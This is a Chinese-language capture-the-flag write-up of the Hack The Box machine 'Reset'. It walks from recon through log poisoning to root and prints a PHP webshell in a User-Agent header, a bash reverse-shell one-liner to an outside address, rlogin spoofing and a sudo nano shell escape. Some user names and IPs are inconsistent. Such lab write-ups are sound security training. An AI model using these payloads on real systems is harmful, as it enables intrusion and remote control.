HTB Reset靶机渗透实战 - 从日志投毒到权限提升

本文详细记录了HTB靶机Reset的完整渗透过程,涉及Nmap扫描、PHP网站漏洞分析、日志投毒获取RCE、Berkeley r命令滥用以及sudo nano权限提升等技术要点。

HTB: Reset

侦察

初始扫描

Nmap发现五个开放TCP端口:SSH(22)、HTTP(80)以及512-514端口的未知服务:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
oxdf@hacky$ nmap -p- --min-rate 10000 10.129.234.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-03 20:24 UTC
Nmap scan report for 10.129.234.130
Host is up (0.092s latency).
Not shown: 65530 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
512/tcp open  exec
513/tcp open  login
514/tcp open  shell

基于OpenSSH和Apache版本,目标可能运行Ubuntu 22.04。TCP 512-514端口与Berkeley r命令相关。

网站 - TCP 80

站点分析

网站显示管理员登录页面。密码重置功能存在漏洞:重置密码API在响应中返回新密码,无需访问账户邮箱。

技术栈

响应头显示站点设置PHPSESSID cookie,确认运行PHP:

1
2
3
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=h72dhq82diroa26qcbdjqip5e9; path=/
Content-Type: text/html; charset=UTF-8

目录暴力破解

使用feroxbuster发现/dashboard.php,但未认证时重定向到index.php。

请求分析

重置密码的POST请求发送到/reset_password.php。存在用户时返回包含新密码的JSON响应:

1
{"success":true,"password":"admin123","timestamp":"2025-06-03 20:47:32"}

认证站点

仪表板

登录后显示日志查看功能,可加载syslog和auth.log。

POST请求

查看日志时发送POST请求,file参数包含完整文件路径:

1
2
POST /dashboard.php HTTP/1.1
file=%2Fvar%2Flog%2Fsyslog

Shell作为www-data

目录遍历/文件读取[失败]

尝试读取/etc/passwd失败,返回"Invalid file path"。

命令注入[失败]

尝试多种命令注入载荷(如;id;、反引号、&|$())均未成功。

日志投毒

策略:通过User-Agent头注入PHP代码到access.log,利用include函数执行。

PoC:

1
2
POST /dashboard.php HTTP/1.1
User-Agent: 0xdf <?php system('id'); ?>

加载/var/log/apache2/access.log成功执行代码:

RCE via log poisoning

Shell获取

注入webshell:

1
User-Agent: 0xdf: <?php system($_REQUEST['cmd']); ?>

通过base64编码的bash反向shell获取连接:

1
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.79/443 0>&1"' | base64

Shell作为radm

枚举

发现tmux会话运行作为radm:

1
2
ps auxww | grep sadm
sadm        1104  0.0  0.1   8764  3880 ?        Ss   Jun03   0:00 tmux new-session -d -s sadm_session

r命令

/etc/hosts.equiv配置允许radm通过rlogin访问:

1
2
3
4
# /etc/hosts.equiv
- root
- local
+ sadm

rlogin

本地创建radm用户后无需密码连接:

1
2
3
4
oxdf@hacky$ sudo useradd sadm
oxdf@hacky$ sudo passwd sadm
oxdf@hacky$ sudo su - sadm
$ rlogin 10.129.234.131

恢复密码

附加到tmux会话发现密码"7lE2PAfVHfjz4HpE"。

Shell作为root

枚举

radm可运行以下命令作为任意用户:

1
2
3
4
sadm@reset:~$ sudo -l
(ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
(ALL) PASSWD: /usr/bin/tail /var/log/syslog
(ALL) PASSWD: /usr/bin/tail /var/log/auth.log

nano逃逸

使用sudo运行nano编辑/etc/firewall.sh

1
sudo nano /etc/firewall.sh

通过Ctrl-r打开读文件菜单,Ctrl-x执行命令,运行reset; bash 1>&0 2>&0获取root shell。

读取root标志:

1
2
root@reset:~# cat root_279e22f8.txt 
7ad6951bcb5a2edaffd7908b013d29b0

附加分析

Web应用源码

dashboard.php中的漏洞代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
function isValidFile($filePath) { 
    $realPath = realpath($filePath);     
    return $realPath && strpos($realPath, ALLOWED_BASE_DIR) === 0;
}

if (isValidFile($file)) {
    ob_start();
    include($file);  // 漏洞点
    $logs = explode("\n", ob_get_clean());
}

rlogin协议

RFC-1282定义协议,客户端发送:

1
2
3
4
<null>
client-user-name<null>
server-user-name<null>
terminal-type/speed<null>

Wireshark分析显示认证过程依赖远程用户名,易受欺骗。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计